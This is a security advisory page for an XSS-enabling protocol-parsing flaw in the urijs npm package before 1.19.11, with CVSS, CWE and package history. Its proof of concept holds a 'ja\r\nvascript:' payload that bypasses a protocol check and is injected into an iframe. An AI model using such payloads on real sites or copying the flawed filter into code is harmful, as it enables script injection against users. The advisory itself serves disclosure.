Incorrect protocol extraction via \r, \n and \t characters
\r, \n and \t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11.
This can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example):
const parse = require('urijs')
const express = require('express')
const app = express()
const port = 3000
input = "ja\r\nvascript:alert(1)"
url = parse(input)
console.log(url)
app.get('/', (req, res) => {
if (url.protocol !== "javascript:") {res.send("<iframe src=\'" + input + "\'>CLICK ME!</iframe>")}
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | urijs | < 1.19.11 | 1.19.11 |
References
- CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N- Weakness (CWE)
CWE-20- Platform
- npm
- Package
urijs- Disclosed
- 06.04.2022
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-3vjf-82ff-p4r3 - CC BY 4.0
Vulnerability history: urijs
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 8
- First → latest
- 12.2020 04.2022
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
- Medium 6
Disclosures per year
- 2020: 1
- 2021: 2
- 2022: 5
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
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Incorrect protocol extraction via \r, \n and \t characters this entry
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